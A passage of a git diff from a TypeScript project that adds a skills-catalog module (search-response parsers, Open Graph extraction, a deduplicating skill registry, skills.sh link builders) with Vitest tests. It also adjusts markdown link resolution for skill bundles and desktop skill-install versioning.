+const PROJECT_RAW_SCOPES = new Set(['project', 'local']);
+
+/**
+ * Map a harness's RAW scope string (Claude's `project`/`local`/`user`, or
+ * absent for a bare skill-dir) onto OK's `project | global` enum. Project-bound
+ * → `project`; everything else (user-global, or no recorded scope) → `global`.
+ */
+export function catalogRawScopeToOkScope(rawScope: string | undefined): SkillScope {
+ return rawScope !== undefined && PROJECT_RAW_SCOPES.has(rawScope) ? 'project' : 'global';
+}
+
+/**
+ * Trailing-slash-insensitive path equality. Both operands are already-absolute
+ * directories (Claude records the launch cwd; OK's `projectDir` is resolved at
+ * boot), so a string compare suffices.
+ * ponytail: string compare, no `..`/symlink normalization — if a symlinked
+ * project root ever needs to match its realpath, realpath both at the server
+ * boundary before calling in.
+ */
+function samePath(a: string, b: string): boolean {
+ const norm = (p: string) => p.replace(/\/+$/, '');
+ return norm(a) === norm(b);
+}
+
+/**
+ * Does this detected skill belong to the open project? User-global installs
+ * (and bare skill-dirs with no recorded scope) always do — they apply to every
+ * project. A *project-scoped* plugin install belongs only to the project it was
+ * installed for: keep it iff its `projectPath` matches `projectDir`. A
+ * project-scoped install with no recorded `projectPath` (or when the project
+ * dir is unknown) can't be attributed, so it's kept rather than risk hiding a
+ * genuine local skill.
+ */
+export function isDetectedSkillInProject(
+ provenance: SkillProvenance,
+ projectDir: string | undefined,
+): boolean {
+ if (catalogRawScopeToOkScope(provenance.scope) === 'global') return true;
+ const owner = provenance.projectPath;
+ if (owner === undefined || projectDir === undefined) return true;
+ return samePath(owner, projectDir);
+}
diff --git a/packages/core/src/skills-catalog/search.test.ts b/packages/core/src/skills-catalog/search.test.ts
new file mode 100644
index 000000000..b3681b1b2
--- /dev/null
+++ b/packages/core/src/skills-catalog/search.test.ts
@@ -0,0 +1,77 @@
+import { describe, expect, test } from 'vitest';
+import { parseGitHubRepoSearch, parseOpenGraph, parseSkillsShSearch } from './search.ts';
+
+describe('parseSkillsShSearch', () => {
+ test('maps valid rows with owner/repo source', () => {
+ const r = parseSkillsShSearch({
+ skills: [{ id: 'acme/repo/foo', name: 'foo', source: 'acme/repo', installs: 12 }],
+ });
+ expect(r).toHaveLength(1);
+ expect(r[0]).toMatchObject({
+ id: 'acme/repo/foo',
+ source: 'acme/repo',
+ installs: 12,
+ publisher: 'acme',
+ });
+ });
+
+ test('tolerates shape drift (non-array, malformed rows)', () => {
+ expect(parseSkillsShSearch({})).toEqual([]);
+ expect(parseSkillsShSearch({ skills: 'nope' })).toEqual([]);
+ expect(parseSkillsShSearch(null)).toEqual([]);
+ // A row with no source and no id is unimportable → skipped.
+ expect(parseSkillsShSearch({ skills: [{ name: 'x' }] })).toEqual([]);
+ });
+
+ test('clamps out-of-contract installs (negative / non-integer) to null', () => {
+ // Schema requires int().nonnegative(); a bad upstream row must degrade to null
+ // rather than fail the whole search response's validation.
+ expect(
+ parseSkillsShSearch({ skills: [{ id: 'a/b/c', name: 'c', source: 'a/b', installs: -5 }] })[0]
+ .installs,
+ ).toBeNull();
+ expect(
+ parseSkillsShSearch({ skills: [{ id: 'a/b/c', name: 'c', source: 'a/b', installs: 1.5 }] })[0]
+ .installs,
+ ).toBeNull();
+ });
+
+ test('defaults installs to null and derives name from the id when absent', () => {
+ const r = parseSkillsShSearch({ skills: [{ source: 'a/b' }] });
+ expect(r[0].installs).toBeNull();
+ expect(r[0].name).toBe('b');
+ });
+});
+
+describe('parseGitHubRepoSearch', () => {
+ test('maps repos with null installs (degraded fallback)', () => {
+ const r = parseGitHubRepoSearch({
+ items: [{ full_name: 'o/r', name: 'r', description: 'd' }],
+ });
+ expect(r[0]).toMatchObject({ id: 'o/r', source: 'o/r', installs: null, publisher: 'o' });
+ });
+
+ test('tolerates malformed payloads', () => {
+ expect(parseGitHubRepoSearch({})).toEqual([]);
+ expect(parseGitHubRepoSearch({ items: [{}] })).toEqual([]);
+ });
+});
+
+describe('parseOpenGraph', () => {
+ test('extracts og tags, decodes entities, tolerates attribute order', () => {
+ const html = `
+ <meta content="find-skills — vercel-labs/skills" property="og:title"/>
+ <meta property="og:description" content="Helps &quot;discover&quot; skills"/>
+ <meta property="og:image" content="https://www.skills.sh/x/opengraph-image?1"/>
+ <meta property="og:type" content="article"/>`;
+ expect(parseOpenGraph(html)).toEqual({
+ title: 'find-skills — vercel-labs/skills',
+ description: 'Helps "discover" skills',
+ image: 'https://www.skills.sh/x/opengraph-image?1',
+ });
+ });
+
+ test('returns empty object when no og tags present', () => {
+ expect(parseOpenGraph('<html><head><title>nope</title></head></html>')).toEqual({});
+ });
+});
diff --git a/packages/core/src/skills-catalog/search.ts b/packages/core/src/skills-catalog/search.ts
new file mode 100644
index 000000000..b6c802917
--- /dev/null
+++ b/packages/core/src/skills-catalog/search.ts
@@ -0,0 +1,100 @@
+/**
+ * Defensive parsers for skill discovery responses. Both upstreams are consumed
+ * without a stable contract — skills.sh `/api/search` is undocumented (the
+ * keyless endpoint its own CLI uses) and the GitHub fallback is a generic repo
+ * search — so shape drift (missing fields, non-array payloads) degrades a row to
+ * skipped rather than throwing. The server handler wraps these; keeping them pure
+ * makes the normalization unit-testable without a network round-trip.
+ */
+
+import type { SkillSearchResult } from './schema.ts';
+import { ownerOf, slug } from './source-fields.ts';
+
+/** Normalize skills.sh `/api/search` JSON (`{ skills: [{ id, name, source, installs }] }`). */
+export function parseSkillsShSearch(json: unknown): SkillSearchResult[] {
+ const skills = (json as { skills?: unknown } | null)?.skills;
+ if (!Array.isArray(skills)) return [];
+ const out: SkillSearchResult[] = [];
+ for (const raw of skills) {
+ if (typeof raw !== 'object' || raw === null) continue;
+ const r = raw as Record<string, unknown>;
+ const source = typeof r.source === 'string' && r.source ? r.source : undefined;
+ const id = typeof r.id === 'string' && r.id ? r.id : source;
+ // A row without both a usable id and source cannot be represented in the catalog.
+ if (!id || !source) continue;
+ out.push({
+ id,
+ name: typeof r.name === 'string' && r.name ? r.name : slug(id),
+ source,
+ description: typeof r.description === 'string' ? r.description : '',
+ installs:
+ Number.isInteger(r.installs) && (r.installs as number) >= 0 ? (r.installs as number) : null,
+ publisher: ownerOf(source),
+ });
+ }
+ return out;
+}
+
+const HTML_ENTITIES: Record<string, string> = {
+ '&amp;': '&',
+ '&lt;': '<',
+ '&gt;': '>',
+ '&quot;': '"',
+ '&#39;': "'",
+ '&#x27;': "'",
+ '&apos;': "'",
+};
+
+function decodeEntities(s: string): string {
+ return s.replace(/&(?:amp|lt|gt|quot|apos|#39|#x27);/g, (m) => HTML_ENTITIES[m] ?? m);
+}
+
+/**
+ * Extract the Open Graph tags the skill-detail modal renders. The skills.sh page
+ * can't be iframed (`x-frame-options: DENY`), so its `og:image` — a 1200×630
+ * rendered card — is the "page preview", and `og:description` carries the skill's
+ * real description (skills.sh search JSON has none). Kept pure + tag-order
+ * tolerant (`property`/`content` in either order); a missing tag → undefined
+ * rather than throwing, since the upstream HTML has no contract.
+ */
+export function parseOpenGraph(html: string): {
+ title?: string;
+ description?: string;
+ image?: string;
+} {
+ const out: { title?: string; description?: string; image?: string } = {};
+ const metas = html.match(/<meta\b[^>]*>/gi) ?? [];
+ for (const tag of metas) {
+ const prop = tag.match(/\bproperty\s*=\s*["'](og:[^"']+)["']/i)?.[1]?.toLowerCase();
+ if (!prop) continue;
+ const content = tag.match(/\bcontent\s*=\s*["']([^"']*)["']/i)?.[1];
+ if (content == null) continue;
+ const value = decodeEntities(content);
+ if (prop === 'og:title' && out.title == null) out.title = value;
+ else if (prop === 'og:description' && out.description == null) out.description = value;
+ else if (prop === 'og:image' && out.image == null) out.image = value;
+ }
+ return out;
+}
+
+/** Normalize GitHub `search/repositories` JSON → degraded results (no install counts). */
+export function parseGitHubRepoSearch(json: unknown): SkillSearchResult[] {
+ const items = (json as { items?: unknown } | null)?.items;
+ if (!Array.isArray(items)) return [];
+ const out: SkillSearchResult[] = [];
+ for (const raw of items) {
+ if (typeof raw !== 'object' || raw === null) continue;
+ const r = raw as Record<string, unknown>;
+ const fullName = typeof r.full_name === 'string' && r.full_name ? r.full_name : undefined;
+ if (!fullName) continue;
+ out.push({
+ id: fullName,
+ name: typeof r.name === 'string' && r.name ? r.name : slug(fullName),
+ source: fullName,
+ description: typeof r.description === 'string' ? r.description : '',
+ installs: null,
+ publisher: ownerOf(fullName),
+ });
+ }
+ return out;
+}
diff --git a/packages/core/src/skills-catalog/skill-registry.test.ts b/packages/core/src/skills-catalog/skill-registry.test.ts
new file mode 100644
index 000000000..573994cd5
--- /dev/null
+++ b/packages/core/src/skills-catalog/skill-registry.test.ts
@@ -0,0 +1,80 @@
+import { describe, expect, test } from 'vitest';
+import type { EditorId } from '../constants/editors.ts';
+import type { SkillScope } from '../schemas/api/tags-search.ts';
+import {
+ buildSkillRegistry,
+ type LocatedSkillOccurrence,
+ skillRegistryKey,
+} from './skill-registry.ts';
+
+function loc(
+ name: string,
+ editor: EditorId,
+ contentHash: string,
+ dir: string,
+ scope: SkillScope = 'project',
+): LocatedSkillOccurrence {
+ return { name, scope, editor, contentHash, dir };
+}
+
+describe('buildSkillRegistry', () => {
+ test('one canonical, copies excluded from admission', () => {
+ const reg = buildSkillRegistry([
+ loc('foo', 'claude', 'h', '.claude/skills/foo'),
+ loc('foo', 'codex', 'h', '.codex/skills/foo'),
+ ]);
+ expect(reg.canonicalDir.get(skillRegistryKey('project', 'foo'))).toBe('.claude/skills/foo');
+ expect([...reg.admittedDirs]).toEqual(['.claude/skills/foo']);
+ expect([...reg.excludedCopyDirs]).toEqual(['.codex/skills/foo']);
+ });
+
+ test('same name, different content: BOTH admitted, neither hidden', () => {
+ const reg = buildSkillRegistry([
+ loc('foo', 'codex', 'h2', '.codex/skills/foo'),
+ loc('foo', 'claude', 'h1', '.claude/skills/foo'), // claude wins precedence
+ ]);
+ expect([...reg.admittedDirs].sort()).toEqual(['.claude/skills/foo', '.codex/skills/foo']);
+ // Neither is a copy of the other, so nothing is excluded...
+ expect(reg.excludedCopyDirs.size).toBe(0);
+ // ...and precedence only decides where a host-less by-name lookup lands.
+ expect(reg.canonicalDir.get(skillRegistryKey('project', 'foo'))).toBe('.claude/skills/foo');
+ });
+
+ test('three distinct contents under one name admit three dirs', () => {
+ const reg = buildSkillRegistry([
+ loc('foo', 'claude', 'h1', '.claude/skills/foo'),
+ loc('foo', 'codex', 'h2', '.codex/skills/foo'),
+ loc('foo', 'cursor', 'h3', '.cursor/skills/foo'),
+ ]);
+ expect(reg.admittedDirs.size).toBe(3);
+ expect(reg.excludedCopyDirs.size).toBe(0);
+ });
+
+ test('a same-named sibling still dedups its OWN copies', () => {
+ const reg = buildSkillRegistry([
+ loc('foo', 'claude', 'h1', '.claude/skills/foo'),
+ loc('foo', 'cursor', 'h1', '.cursor/skills/foo'), // copy of the claude one
+ loc('foo', 'codex', 'h2', '.codex/skills/foo'), // a different skill
+ ]);
+ expect([...reg.admittedDirs].sort()).toEqual(['.claude/skills/foo', '.codex/skills/foo']);
+ expect([...reg.excludedCopyDirs]).toEqual(['.cursor/skills/foo']);
+ });
+
+ test('a user-preferred source wins the by-name default over precedence', () => {
+ const reg = buildSkillRegistry([
+ loc('foo', 'claude', 'h1', '.claude/skills/foo'),
+ { ...loc('foo', 'codex', 'h2', '.codex/skills/foo'), preferredSource: true },
+ ]);
+ expect(reg.canonicalDir.get(skillRegistryKey('project', 'foo'))).toBe('.codex/skills/foo');
+ expect(reg.admittedDirs.size).toBe(2);
+ });
+
+ test('project and global same-name are distinct canonical bindings', () => {
+ const reg = buildSkillRegistry([
+ loc('foo', 'claude', 'h', '.claude/skills/foo', 'project'),
+ loc('foo', 'claude', 'h', '~/.claude/skills/foo', 'global'),
+ ]);
+ expect(reg.canonicalDir.get(skillRegistryKey('project', 'foo'))).toBe('.claude/skills/foo');
+ expect(reg.canonicalDir.get(skillRegistryKey('global', 'foo'))).toBe('~/.claude/skills/foo');
+ });
+});
diff --git a/packages/core/src/skills-catalog/skill-registry.ts b/packages/core/src/skills-catalog/skill-registry.ts
new file mode 100644
index 000000000..5c66bd502
--- /dev/null
+++ b/packages/core/src/skills-catalog/skill-registry.ts
@@ -0,0 +1,89 @@
+/**
+ * Skill registry — the derived projection over
+ * {@link groupSkillsByIdentity} output that the two location-aware surfaces read:
+ *
+ * - **content-filter admission:** `admittedDirs` (what to admit) and
+ * `excludedCopyDirs` (copy bundle dirs that must NOT be admitted, so a skill
+ * copied to N editors is ONE tracked identity, not N).
+ * - **by-name → physical-path mapper:** `canonicalDir` — where a host-less
+ * lookup of `<scope>/<name>` lands.
+ *
+ * It is DERIVED, not persisted: the canonical binding falls out of scanning +
+ * dedup (cloud-safe, nothing machine-specific to commit). Machine-local copy
+ * tracking for fan-out is a separate concern that lives in `.ok/local/`.
+ */
+
+import {
+ groupSkillsByIdentity,
+ SKILL_CANONICAL_PRECEDENCE,
+ type SkillOccurrence,
+} from './dedup.ts';
+
+/** An occurrence with its physical bundle dir (project-relative or absolute). */
+export interface LocatedSkillOccurrence extends SkillOccurrence {
+ readonly dir: string;
+}
+
+/** `<scope>/<name>` registry key. */
+export function skillRegistryKey(scope: SkillOccurrence['scope'], name: string): string {
+ return `${scope}/${name}`;
+}
+
+export interface SkillRegistry {
+ /**
+ * EVERY admitted bundle dir: one per distinct-CONTENT identity. Two same-named
+ * bundles holding different bytes are two different skills and BOTH are admitted
+ * — the user sees both, neither is hidden behind the other.
+ */
+ readonly admittedDirs: ReadonlySet<string>;
+ /**
+ * `<scope>/<name>` → the bundle dir a bare by-NAME lookup resolves to. When one
+ * name has several distinct-content identities this is only the precedence
+ * winner: a DEFAULT for callers that supply no host, never a claim that the
+ * others are lesser. Callers that can act destructively must disambiguate
+ * rather than lean on this.
+ */
+ readonly canonicalDir: ReadonlyMap<string, string>;
+ /** Copy bundle dirs to EXCLUDE from content-index admission (dedup at admission). */
+ readonly excludedCopyDirs: ReadonlySet<string>;
+}
+
+function nameDefaultRank(occurrence: LocatedSkillOccurrence): number {
+ if (occurrence.preferredSource === true) return -1; // user choice wins
+ const i = SKILL_CANONICAL_PRECEDENCE.indexOf(occurrence.editor);
+ return i === -1 ? SKILL_CANONICAL_PRECEDENCE.length : i;
+}
+
+/**
+ * Build the registry from located occurrences. Copies (same scope+name+hash,
+ * non-canonical) are excluded from admission — that is the real dedup, and one
+ * skill delivered to six editors stays ONE tracked identity. Same scope+name with
+ * DIFFERENT content is not a copy relationship at all: every such identity is
+ * admitted on its own terms. Precedence survives only to pick which one a bare
+ * by-name lookup lands on.
+ */
+export function buildSkillRegistry<T extends LocatedSkillOccurrence>(
+ occurrences: readonly T[],
+): SkillRegistry {
+ const groups = groupSkillsByIdentity(occurrences);
+ const admittedDirs = new Set<string>();
+ const canonicalDir = new Map<string, string>();
+ const excludedCopyDirs = new Set<string>();
+ // Rank of whatever currently holds each name's by-name default, so the walk
+ // can keep the best without re-sorting.
+ const defaultRank = new Map<string, number>();
+
+ for (const g of groups) {
+ admittedDirs.add(g.canonical.dir);
+ for (const c of g.copies) excludedCopyDirs.add(c.dir);
+ const key = skillRegistryKey(g.scope, g.name);
+ const rank = nameDefaultRank(g.canonical);
+ const held = defaultRank.get(key);
+ if (held === undefined || rank < held) {
+ defaultRank.set(key, rank);
+ canonicalDir.set(key, g.canonical.dir);
+ }
+ }
+
+ return { admittedDirs, canonicalDir, excludedCopyDirs };
+}
diff --git a/packages/core/src/skills-catalog/source-fields.test.ts b/packages/core/src/skills-catalog/source-fields.test.ts
new file mode 100644
index 000000000..8ff88e00d
--- /dev/null
+++ b/packages/core/src/skills-catalog/source-fields.test.ts
@@ -0,0 +1,80 @@
+import { describe, expect, test } from 'vitest';
+import { parseSkillsShSource } from './acquire/fetch.ts';
+import { ownerOf, parseSkillsShCatalogSource, skillsShSkillLinks } from './source-fields.ts';
+
+describe('parseSkillsShCatalogSource', () => {
+ test('distinguishes GitHub repositories from website publishers', () => {
+ expect(parseSkillsShCatalogSource('anthropics/skills')).toEqual({
+ kind: 'github',
+ owner: 'anthropics',
+ repo: 'skills',
+ });
+ expect(parseSkillsShCatalogSource('open.feishu.cn')).toEqual({
+ kind: 'site',
+ hostname: 'open.feishu.cn',
+ });
+ });
+
+ test('rejects source shapes outside the observed skills.sh contract', () => {
+ expect(parseSkillsShCatalogSource('owner/repo/extra')).toBeNull();
+ expect(parseSkillsShCatalogSource('https://github.com/owner/repo')).toBeNull();
+ expect(parseSkillsShCatalogSource('localhost')).toBeNull();
+ expect(parseSkillsShCatalogSource('')).toBeNull();
+ });
+});
+
+describe('skillsShSkillLinks', () => {
+ test('preserves the actual repository in GitHub-backed skill routes', () => {
+ expect(skillsShSkillLinks('larksuite/cli', 'lark-attendance')).toEqual({
+ sourceKind: 'github',
+ skillsUrl: 'https://www.skills.sh/larksuite/cli/lark-attendance',
+ sourceUrl: 'https://github.com/larksuite/cli',
+ });
+ });
+
+ test('uses the site route and publisher URL for website-backed skills', () => {
+ expect(skillsShSkillLinks('open.feishu.cn', 'lark-attendance')).toEqual({
+ sourceKind: 'site',
+ skillsUrl: 'https://www.skills.sh/site/open.feishu.cn/lark-attendance',
+ sourceUrl: 'https://open.feishu.cn',
+ });
+ });
+
+ test('returns null instead of inventing links for unknown sources', () => {
+ expect(skillsShSkillLinks('not a source', 'skill')).toBeNull();
+ expect(skillsShSkillLinks('owner/repo', '')).toBeNull();
+ });
+});
+
+describe('ownerOf', () => {
+ test('preserves broad publisher extraction independently of strict routing', () => {
+ expect(ownerOf('anthropics/skills')).toBe('anthropics');
+ expect(ownerOf('open.feishu.cn')).toBeNull();
+ expect(ownerOf('owner/repo/extra')).toBe('owner');
+ });
+});
+
+describe('the skills.sh URL we render is one we can parse back', () => {
+ // These two used to disagree: the emitter writes `/<owner>/<repo>/<skill>`
+ // while the parser demanded the middle segment be the literal `skills`. It
+ // only looked fine because the popular publishers name their repo `skills`.
+ // Anyone else got a 400 on the link OK itself put in the preview header.
+ test.each([
+ ['larksuite/cli', 'lark-attendance'],
+ ['anthropics/skills', 'design'],
+ ])('round-trips %s', (source, skill) => {
+ const { skillsUrl } = skillsShSkillLinks(source, skill);
+ expect(parseSkillsShSource(skillsUrl)).toEqual({
+ owner: source.split('/')[0],
+ skill,
+ });
+ });
+
+ test('site routes still resolve owner from the hostname segment', () => {
+ const { skillsUrl } = skillsShSkillLinks('open.feishu.cn', 'lark-attendance');
+ expect(parseSkillsShSource(skillsUrl)).toEqual({
+ owner: 'open.feishu.cn',
+ skill: 'lark-attendance',
+ });
+ });
+});
diff --git a/packages/core/src/skills-catalog/source-fields.ts b/packages/core/src/skills-catalog/source-fields.ts
new file mode 100644
index 000000000..e34431a65
--- /dev/null
+++ b/packages/core/src/skills-catalog/source-fields.ts
@@ -0,0 +1,65 @@
+/**
+ * Derive display fields from a skill's `source` / `id`. Shared by the search and
+ * leaderboard parsers so the publisher/slug derivation can't drift between them.
+ */
+
+const GITHUB_SOURCE = /^([\w.-]+)\/([\w.-]+)$/;
+const SITE_SOURCE =
+ /^(?=.{1,253}$)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/i;
+
+export type SkillsShCatalogSource =
+ | { kind: 'github'; owner: string; repo: string }
+ | { kind: 'site'; hostname: string };
+
+export interface SkillsShSkillLinks {
+ sourceKind: SkillsShCatalogSource['kind'];
+ skillsUrl: string;
+ sourceUrl: string;
+}
+
+/** Classify the two source shapes emitted by the skills.sh discovery API. */
+export function parseSkillsShCatalogSource(source: string): SkillsShCatalogSource | null {
+ const github = GITHUB_SOURCE.exec(source);
+ if (github) {
+ const [, owner, repo] = github;
+ if (owner && repo) return { kind: 'github', owner, repo };
+ }
+ if (SITE_SOURCE.test(source)) return { kind: 'site', hostname: source };
+ return null;
+}
+
+/** Build canonical skills.sh and publisher links without assuming a source kind. */
+export function skillsShSkillLinks(source: string, skillId: string): SkillsShSkillLinks | null {
+ const parsed = parseSkillsShCatalogSource(source);
+ const skill = skillId.trim();
+ if (!parsed || !skill) return null;
+
+ const encodedSkill = encodeURIComponent(skill);
+ if (parsed.kind === 'github') {
+ const owner = encodeURIComponent(parsed.owner);
+ const repo = encodeURIComponent(parsed.repo);
+ return {
+ sourceKind: 'github',
+ skillsUrl: `https://www.skills.sh/${owner}/${repo}/${encodedSkill}`,
+ sourceUrl: `https://github.com/${owner}/${repo}`,
+ };
+ }
+
+ const hostname = encodeURIComponent(parsed.hostname);
+ return {
+ sourceKind: 'site',
+ skillsUrl: `https://www.skills.sh/site/${hostname}/${encodedSkill}`,
+ sourceUrl: `https://${parsed.hostname}`,
+ };
+}
+
+/** Publisher = the first segment of a path-shaped source; `null` otherwise. */
+export function ownerOf(source: string): string | null {
+ return source.includes('/') ? (source.split('/')[0] ?? null) : null;
+}
+
+/** Short name = the last path segment of an id, falling back to the whole id. */
+export function slug(id: string): string {
+ const last = id.split('/').pop();
+ return last && last.length > 0 ? last : id;
+}
diff --git a/packages/core/src/utils/link-targets.test.ts b/packages/core/src/utils/link-targets.test.ts
index 1401c9b9c..e735668c3 100644
--- a/packages/core/src/utils/link-targets.test.ts
+++ b/packages/core/src/utils/link-targets.test.ts
@@ -83,6 +83,33 @@ describe('classifyMarkdownHref', () => {
ext: 'pdf',
});
});
+
+ test('skill bundle ref from a SKILL doc resolves into the skill dir (§8.2)', () => {
+ // Generic relative resolution would map `references/setup` to the content
+ // root; the bundle overlay reaches the real ref doc under the skill dir.
+ expect(classifyMarkdownHref('references/setup.md', '.ok/skills/demo/SKILL')).toEqual({
+ kind: 'doc',
+ docName: '.ok/skills/demo/references/setup',
+ anchor: null,
+ });
+ expect(classifyMarkdownHref('references/setup#usage', '.ok/skills/demo/SKILL')).toEqual({
+ kind: 'doc',
+ docName: '.ok/skills/demo/references/setup',
+ anchor: 'usage',
+ });
+ expect(classifyMarkdownHref('scripts/run', '.ok/skills/demo/SKILL')).toEqual({
+ kind: 'doc',
+ docName: '.ok/skills/demo/scripts/run',
+ anchor: null,
+ });
+ });
+
+ test('bundle overlay is narrow: non-skill source is unaffected', () => {
+ // `references/x` from a normal doc still resolves generically, not into a skill dir.
+ expect(classifyMarkdownHref('references/setup.md', 'docs/index')?.docName).not.toBe(
+ '.ok/skills/docs/references/setup',
+ );
+ });
});
describe('classifyWikiLinkTarget', () => {
@@ -208,3 +235,33 @@ describe('buildAbsoluteMarkdownHref', () => {
expect(buildAbsoluteMarkdownHref('guides/widget', '.mdx')).toBe('/guides/widget.mdx');
});
});
+
+describe('/<skill-name> targets', () => {
+ test('resolves to a sibling skill from a project skill body', () => {
+ expect(classifyMarkdownHref('/graphics', '.agents/skills/brand/SKILL')).toEqual({
+ kind: 'doc',
+ docName: '.agents/skills/graphics/SKILL',
+ anchor: null,
+ });
+ });
+
+ test('resolves from a bundle reference too, against the skill root', () => {
+ expect(classifyMarkdownHref('/gslides', '.claude/skills/brand/references/tone')).toEqual({
+ kind: 'doc',
+ docName: '.claude/skills/gslides/SKILL',
+ anchor: null,
+ });
+ });
+
+ test('a nested path is a path, not a skill name', () => {
+ const target = classifyMarkdownHref('/a/b', '.agents/skills/brand/SKILL');
+ expect(target?.kind === 'doc' ? target.docName : null).not.toBe('.agents/skills/a/SKILL');
+ });
+
+ test('outside a skill it stays an ordinary path', () => {
+ const target = classifyMarkdownHref('/graphics', 'notes/index');
+ expect(target?.kind === 'doc' ? target.docName : null).not.toBe(
+ '.agents/skills/graphics/SKILL',
+ );
+ });
+});
diff --git a/packages/core/src/utils/link-targets.ts b/packages/core/src/utils/link-targets.ts
index 0d9101ecf..37c02c3bd 100644
--- a/packages/core/src/utils/link-targets.ts
+++ b/packages/core/src/utils/link-targets.ts
@@ -1,3 +1,4 @@
+import { resolveSkillBundleWikiTarget, resolveSkillSlashTarget } from '../constants/cc1.ts';
import { DEFAULT_DOC_EXTENSION } from '../constants/doc-extensions.ts';
import { type ResolvedInternalHref, resolveInternalHref } from './resolve-internal-href.ts';
@@ -86,6 +87,37 @@ export function classifyMarkdownHref(
return { kind: 'external', url: trimmed };
}
+ // A skill bundle ref (`references/x`, `scripts/x`) inside a project SKILL doc
+ // resolves into the skill dir, not the content root, so generic relative
+ // resolution maps it to the wrong (nonexistent) doc and the link reads broken /
+ // won't navigate. Apply the shared skill-bundle overlay (the same helper the
+ // backlink index uses for `[[wiki]]` bundle refs) so markdown links reach the
+ // real ref doc. Narrow by design: non-skill sources / non-bundle targets return
+ // null and fall through unchanged.
+ const hashAt = trimmed.indexOf('#');
+ const bundlePath = hashAt < 0 ? trimmed : trimmed.slice(0, hashAt);
+ const bundleDoc = resolveSkillBundleWikiTarget(bundlePath, sourceDocName);
+ if (bundleDoc) {
+ return {
+ kind: 'doc',
+ docName: bundleDoc,
+ anchor: hashAt < 0 ? null : trimmed.slice(hashAt + 1),
+ };
+ }
+
+ // `/<skill-name>` inside a skill names a SIBLING SKILL, the way a slash
+ // command names one — it is not a root-relative path. Skill bodies routinely
+ // cross-reference each other that way, and read as a path it points at a
+ // root doc that does not exist, so following one offered to create a page.
+ const slashDoc = resolveSkillSlashTarget(bundlePath, sourceDocName);
+ if (slashDoc) {
+ return {
+ kind: 'doc',
+ docName: slashDoc,
+ anchor: hashAt < 0 ? null : trimmed.slice(hashAt + 1),
+ };
+ }
+
const internal = resolveInternalHref(trimmed, sourceDocName);
if (internal) {
return {
diff --git a/packages/core/src/utils/resolve-internal-href.test.ts b/packages/core/src/utils/resolve-internal-href.test.ts
index 7c0a95f85..8621e30c2 100644
--- a/packages/core/src/utils/resolve-internal-href.test.ts
+++ b/packages/core/src/utils/resolve-internal-href.test.ts
@@ -1,4 +1,5 @@
import { describe, expect, test } from 'vitest';
+import { skillFileLiveDocName } from '../constants/cc1.ts';
import { resolveInternalHref } from './resolve-internal-href.ts';
describe('resolveInternalHref', () => {
@@ -70,4 +71,27 @@ describe('resolveInternalHref', () => {
expect(resolveInternalHref('../../escape.md', 'folder/page')).toBeNull();
expect(resolveInternalHref('../../../way-out.md', 'deep/a/b')).toBeNull();
});
+
+ // A skill's SKILL.md links to its references with skill-relative paths
+ // (`references/setup.md`). With the file's own bundle doc as the base, those
+ // resolve to the sibling reference doc instead of a nonexistent content path —
+ // the fix for §8.3 (valid skill references rendering as broken links).
+ describe('skill bundle relative references (§8.3)', () => {
+ for (const scope of ['global', 'project'] as const) {
+ test(`references/setup.md from a ${scope} SKILL.md → the reference doc`, () => {
+ const base = skillFileLiveDocName(scope, 'demo', 'SKILL');
+ expect(resolveInternalHref('references/setup.md', base)).toEqual({
+ docName: skillFileLiveDocName(scope, 'demo', 'references/setup'),
+ anchor: null,
+ });
+ });
+ test(`a sibling link from a ${scope} reference resolves within references/`, () => {
+ const base = skillFileLiveDocName(scope, 'demo', 'references/setup');
+ expect(resolveInternalHref('anti-patterns.md', base)).toEqual({
+ docName: skillFileLiveDocName(scope, 'demo', 'references/anti-patterns'),
+ anchor: null,
+ });
+ });
+ }
+ });
});
diff --git a/packages/core/tsdown.config.ts b/packages/core/tsdown.config.ts
index 2e60cb490..ed6f83ea6 100644
--- a/packages/core/tsdown.config.ts
+++ b/packages/core/tsdown.config.ts
@@ -8,6 +8,7 @@ export default defineConfig({
server: 'src/server.ts',
keepalive: 'src/keepalive/keepalive.ts',
'helper-bundle': 'src/helper-bundle.ts',
+ 'skills-catalog': 'src/skills-catalog/index.ts',
'acp-thread-protocol': 'src/acp/thread-protocol.ts',
},
unbundle: false,
diff --git a/packages/desktop/src/main/index.ts b/packages/desktop/src/main/index.ts
index 8b6867f27..db51db231 100644
--- a/packages/desktop/src/main/index.ts
+++ b/packages/desktop/src/main/index.ts
@@ -4911,6 +4911,7 @@ function registerIpcHandlers() {
pinnedTabIds: [],
activeDocName: null,
activeTabId: null,
+ activeTabByMode: { files: null, skills: null },
updatedAt: null,
};
const ctx = wm.getContextForBrowserWindow(win as unknown as BrowserWindowLike);
@@ -4920,6 +4921,7 @@ function registerIpcHandlers() {
pinnedTabIds: [],
activeDocName: null,
activeTabId: null,
+ activeTabByMode: { files: null, skills: null },
updatedAt: null,
};
return getProjectSessionState(appState, ctx.projectPath);
diff --git a/packages/desktop/src/main/ipc/install-skill.ts b/packages/desktop/src/main/ipc/install-skill.ts
index 48517d9a5..787d81db7 100644
--- a/packages/desktop/src/main/ipc/install-skill.ts
+++ b/packages/desktop/src/main/ipc/install-skill.ts
@@ -154,8 +154,11 @@ export async function handleBuildAndOpen(deps: InstallSkillIpcDeps): Promise<Bui
let builtVersion: string | undefined;
try {
- const build = await buildSkillZip({ outputPath });
- builtVersion = build.skillVersion;
+ await buildSkillZip({ outputPath });
+ // The install-state gate keys on the server PACKAGE version (the single
+ // version axis), NOT a SKILL.md field — the bundled SKILL.md carries no
+ // version stamp. Record the same value the gate above reads back.
+ builtVersion = await readServerPackageVersion().catch(() => undefined);
} catch (err) {
const message = err instanceof Error ? err.message : String(err);
await report('failed', undefined, `build-failed:${message}`);
diff --git a/packages/desktop/src/main/skill-reclaim.test.ts b/packages/desktop/src/main/skill-reclaim.test.ts
index 211c2ac1f..a8cb0ad1c 100644
--- a/packages/desktop/src/main/skill-reclaim.test.ts
+++ b/packages/desktop/src/main/skill-reclaim.test.ts
@@ -257,7 +257,7 @@ describe('reclaimUserSkillsOnLaunch', () => {
expect(deps.stateWrites).toEqual([{ home, version: '1.0.0' }]);
});
- test('central store overwrites existing files even when same path is present', async () => {
+ test('seed-if-absent: existing central store is left untouched (no overwrite)', async () => {
const home = makeHome();
const bundle = setupBundle();
const central = join(home, '.agents', 'skills', 'open-knowledge-discovery');
@@ -273,10 +273,14 @@ describe('reclaimUserSkillsOnLaunch', () => {
deps,
});
expect(r.status).toBe('done');
